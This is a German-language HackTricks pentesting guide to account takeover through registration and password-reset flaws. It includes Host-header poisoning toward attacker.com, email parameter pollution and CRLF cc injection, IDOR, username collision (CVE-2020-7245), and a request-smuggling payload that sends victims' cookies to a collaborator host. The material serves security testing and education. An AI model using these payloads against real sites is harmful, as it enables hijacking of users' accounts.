10 KiB
Registrierungs- und Übernahmeschwachstellen
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Übernahme der Registrierung
Duplizierte Registrierung
- Versuchen Sie, einen vorhandenen Benutzernamen zu generieren
- Überprüfen Sie die Variation der E-Mail:
- Großbuchstaben
- +1@
- Fügen Sie einige Punkte in die E-Mail ein
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
- Fügen Sie nach der E-Mail schwarze Zeichen hinzu:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Benutzernamenermittlung
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.
Passwortrichtlinie
Bei der Erstellung eines Benutzers überprüfen Sie die Passwortrichtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).
In diesem Fall können Sie versuchen, Anmeldeinformationen per Brute-Force zu ermitteln.
SQL-Injection
Überprüfen Sie diese Seite, um zu erfahren, wie Sie mithilfe von SQL-Injections in Registrierungsformularen Konten übernehmen oder Informationen extrahieren können.
Oauth-Übernahmen
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML-Schwachstellen
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
E-Mail-Änderung
Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie in beliebige E-Mails ändern können.
Weitere Überprüfungen
- Überprüfen Sie, ob Sie Wegwerf-E-Mails verwenden können
- Langes Passwort (>200) führt zu DoS
- Überprüfen Sie die Rate-Limits bei der Kontenerstellung
- Verwenden Sie username@burp_collab.net und analysieren Sie den Callback
Übernahme der Passwortrücksetzung
Passwortrücksetzungstoken-Leak über Referrer
- Fordern Sie einen Passwortrücksetzung für Ihre E-Mail-Adresse an
- Klicken Sie auf den Link zur Passwortrücksetzung
- Ändern Sie das Passwort nicht
- Klicken Sie auf beliebige Websites von Drittanbietern (z. B. Facebook, Twitter)
- Abfangen Sie die Anfrage im Burp Suite Proxy
- Überprüfen Sie, ob der Referrer-Header das Passwortrücksetzungstoken preisgibt.
Passwortrücksetzung-Manipulation
- Fangen Sie die Anfrage zur Passwortrücksetzung in Burp Suite ab
- Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Leiten Sie die Anfrage mit dem geänderten Header weiter
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Suchen Sie nach einer Passwortrücksetzungs-URL basierend auf dem Host-Header wie z. B.:
https://attacker.com/reset-password.php?token=TOKEN
Passwortrücksetzung über E-Mail-Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR auf API-Parameter
- Der Angreifer muss sich mit seinem Konto anmelden und zur Funktion Passwort ändern gehen.
- Starten Sie Burp Suite und unterbrechen Sie die Anfrage.
- Senden Sie es an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Schwacher Passwort-Reset-Token
Der Passwort-Reset-Token sollte jedes Mal zufällig generiert und eindeutig sein.
Versuchen Sie festzustellen, ob der Token abläuft oder ob er immer gleich ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
- Zeitstempel
- Benutzer-ID
- E-Mail des Benutzers
- Vorname und Nachname
- Geburtsdatum
- Kryptographie
- Nur Zahlen
- Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
- Token-Wiederverwendung
- Ablaufdatum des Tokens
Leckender Passwort-Reset-Token
- Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
- Überprüfen Sie die Serverantwort und suchen Sie nach
resetToken
. - Verwenden Sie dann den Token in einer URL wie
https://example.com/v3/user/password/reset?resetToken=[DER_RESET_TOKEN]&email=[DIE_MAIL]
Passwort-Reset über Kollision von Benutzernamen
- Registrieren Sie sich im System mit einem Benutzernamen, der dem Benutzernamen des Opfers entspricht, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.:
"admin "
- Fordern Sie einen Passwort-Reset mit Ihrem bösartigen Benutzernamen an.
- Verwenden Sie den an Ihre E-Mail gesendeten Token und setzen Sie das Passwort des Opfers zurück.
- Melden Sie sich mit dem neuen Passwort im Konto des Opfers an.
Die Plattform CTFd war anfällig für diesen Angriff.
Siehe: CVE-2020-7245
Account-Übernahme über Cross-Site Scripting
- Finden Sie eine XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domäne beschränkt sind:
*.domain.com
- Leaken Sie das aktuelle Sitzungscookie.
- Authentifizieren Sie sich als Benutzer mithilfe des Cookies.
Account-Übernahme über HTTP Request Smuggling
1. Verwenden Sie smuggler, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, bei der POST / HTTP/1.1
mit den folgenden Daten überschrieben wird:
GET http://something.burpcollaborator.net HTTP/1.1 X:
mit dem Ziel, die Opfer auf burpcollab umzuleiten und ihre Cookies zu stehlen.
3. Die endgültige Anfrage könnte wie folgt aussehen.
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone-Berichte, die diesen Fehler ausnutzen:
Accountübernahme über CSRF
- Erstellen Sie eine Payload für CSRF, z.B. "HTML-Formular mit automatischer Übermittlung für eine Passwortänderung".
- Senden Sie die Payload.
Accountübernahme über JWT
JSON Web Token kann zur Authentifizierung eines Benutzers verwendet werden.
- Bearbeiten Sie das JWT mit einer anderen Benutzer-ID/E-Mail.
- Überprüfen Sie die Schwäche der JWT-Signatur.
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.